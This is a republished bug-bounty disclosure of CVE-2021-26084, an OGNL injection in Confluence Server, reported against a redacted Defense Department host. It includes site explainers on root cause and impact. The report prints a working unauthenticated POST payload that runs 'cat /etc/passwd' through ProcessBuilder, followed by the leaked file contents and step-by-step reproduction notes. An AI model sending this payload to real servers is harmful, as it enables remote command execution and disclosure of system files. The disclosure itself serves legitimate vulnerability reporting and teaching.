Skip to content
RCE Disclosed report Intermediate CVE-2021-26084

RCE in ███ [CVE-2021-26084]

Confluence Server and Data Center contained an OGNL injection flaw in a web endpoint that let an attacker run operating system commands on the server. The report shows an unauthenticated request that executed a command and returned the contents of a system file.

fdeleite Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 5 hours
  • Fixed in 6 days
  • Disclosed after 2.3 years

In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if ‘Allow people to sign up to create their account’ is enabled. To check whether this is enabled go to COG > User Management > User Signup Options. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0

Impact

  • An unauthenticated, 3rd-party attacker or adversary can execute remote code

System Host(s)

██████████

Affected Product(s) and Version(s)

CVE Numbers

CVE-2021-26084

Steps to Reproduce

POST (command cat /etc/passwd)

POST /confluence/pages/doenterpagevariables.action HTTP/1.1
Host: ████
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36
Accept-Encoding: gzip
Content-Length: 915

queryString=aaaaaaaa\u0027%2b{Class.forName(\u0027javax.script.ScriptEngineManager\u0027).newInstance().getEngineByName(\u0027JavaScript\u0027).\u0065val(\u0027var+isWin+%3d+java.lang.System.getProperty(\u0022os.name\u0022).toLowerCase().contains(\u0022win\u0022)%3b+var+cmd+%3d+new+java.lang.String(\u0022cat /etc/passwd\u0022)%3bvar+p+%3d+new+java.lang.ProcessBuilder()%3b+if(isWin){p.command(\u0022cmd.exe\u0022,+\u0022/c\u0022,+cmd)%3b+}+else{p.command(\u0022bash\u0022,+\u0022-c\u0022,+cmd)%3b+}p.redirectErrorStream(true)%3b+var+process%3d+p.start()%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader(process.getInputStream())%3b+var+bufferedReader+%3d+new+java.io.BufferedReader(inputStreamReader)%3b+var+line+%3d+\u0022\u0022%3b+var+output+%3d+\u0022\u0022%3b+while((line+%3d+bufferedReader.readLine())+!%3d+null){output+%3d+output+%2b+line+%2b+java.lang.Character.toString(10)%3b+}\u0027)}%2b\u0027

You will see the output of the ifconfig command

OUTPUT

         type="hidden"
          name="queryString"            value="aaaaaaaa[root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
confluence:x:2002:2002::/var/atlassian/application-data/confluence:/bin/bash
]"             />                <input
]"             />

Suggested Mitigation/Remediation Actions

The original report as published on HackerOne, by fdeleite. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the endpoint passed user-supplied input into an OGNL expression that was then evaluated, allowing arbitrary Java code to run.

Impact

An unauthenticated attacker could execute arbitrary code on the Confluence server, and the report demonstrates reading a sensitive system file.

What the attacker needed

Confluence Server or Data Center in an affected version; Signup enabled for unauthenticated exploitation

The fix

The affected versions are those before 6.13.23, 6.14.0 to before 7.4.11, 7.5.0 to before 7.11.6, and from 7.12.0.

How it was found

  1. Send a POST request to the doenterpagevariables action endpoint with a form-encoded body.
  2. Put a crafted queryString value in the body that contains an OGNL expression.
  3. The server evaluates the expression and runs the chosen command.
  4. Read the command output reflected in the hidden queryString field of the response.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Confluence is a team wiki product. A part of it built a command out of user input without checking it, so a crafted web request could make the server run a command chosen by the attacker. That is called remote code execution, meaning the attacker can run their own programs on the server.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More by fdeleite

View all

18 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.